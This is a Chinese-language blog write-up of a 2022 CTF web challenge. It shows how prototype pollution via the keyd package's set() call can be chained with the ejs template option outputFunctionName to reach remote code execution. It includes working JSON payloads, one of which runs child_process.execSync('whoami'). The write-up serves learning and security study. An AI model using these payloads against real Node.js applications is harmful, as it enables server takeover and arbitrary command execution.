ciaoly
NodeJS原型链污染一则(RCE)

access_time
brush 492个字
whatshot 34 ℃

先来个铺垫, 看完这个应该也不用往下看了: Express+lodash+ejs: 从原型链污染到RCE

题目背景是2022年"泰山杯"的一道Web题, 题目附件里直接是Nodejs的源码, 附件 app.zip

根据本菜狗的经验而言, "NodeJS原型链污染"漏洞的直接影响是破坏了程序中的变量, 进而影响程序的逻辑走向. 而如果可以在层层的函数调用栈中找到特定的程序代码, 例如SQL执行/代码执行/命令执行等, 配合恶意破坏的变量环境则可以实现更多的攻击效果.

所以说, 为了实现RCE, 不光要找到一个可以进行原型链污染的点, 还得找到一个可以利用特定变量实现代码执行的点. 一个常见的点就是ejs引擎的outputFunctionName选项.

结合本题, 来实操一下利用nodejs原型链污染实现RCE.


首先, 一个很有用的命令npm audit, 可以查询当前依赖库中的漏洞情况. 不过本菜狗亲测发现使用的镜像源竟然还不支持这个.....

image-20220911001623723

上图显示ejs存在模板注入, 但是竟然没有检测出keyd存在的原型链污染漏洞. 使用关键词npm keyd vulnerabilitiy在谷歌搜索可以发现这个包其实是存在原型链污染漏洞的: Node.js third-party modules: keyd Prototype pollution - bugbounty database

不过面对离线的"泰山杯"竞赛环境上述方法就行不通了, 那就试试源码审计吧. 在app.js中定位到这么几行代码: line 40 to line 42

keyd(nowuser).set(mood, happened)
req.session.mood = mood
req.session.happened = nowuser[mood]

有理由怀疑keyd(nowuser).set(mood, happened)这个地方是将变量mood解析成path并挂载给nowuser, 同时将值设置为happened.

那么可以在题目页面上试一试, 设置mood__proto__/prototype/constructor等等成员试一试, 发现输入__proto__时发生了:

image-20220911003014914

很惊喜, what happened? [object Object]!!!. 明显是存在原型链污染的漏洞. 接下来试一试代码执行喽. payload:

{
    "mood":"__proto__.__proto__.outputFunctionName",
    "happened":"a; return 1+1+'abcdef';//"
}

访问/home, 效果:

image-20220911010205881

很惊喜, 接下来就可以命令执行了:

{
    "mood":"__proto__.__proto__.outputFunctionName",
    "happened":"a; return global.process.mainModule.constructor._load('child_process').execSync('whoami');//"
}

#如无特别声明,该文章均为 ciaoly 原创,转载请遵循 署名-非商业性使用 4.0 国际(CC BY-NC 4.0) 协议,即转载请注明文章来源。
#最后编辑时间为: 2022 年 09 月 10 日


create 添加新评论


account_circle
email
language
textsms





关于 DreamCat

主题名称:DreamCat | 版本:X2.6.220211

主题开发:HanFengA7 | TeddyNight | Dev-Leo | CornWorld | WhiteBearcn | DFFZMXJ

Designed by HanFengA7 Power by Typecho

Copyright © 2015-2022 by LychApe All rights reserved!

加我的QQ
加我的微博
加我的支付宝
加我的微信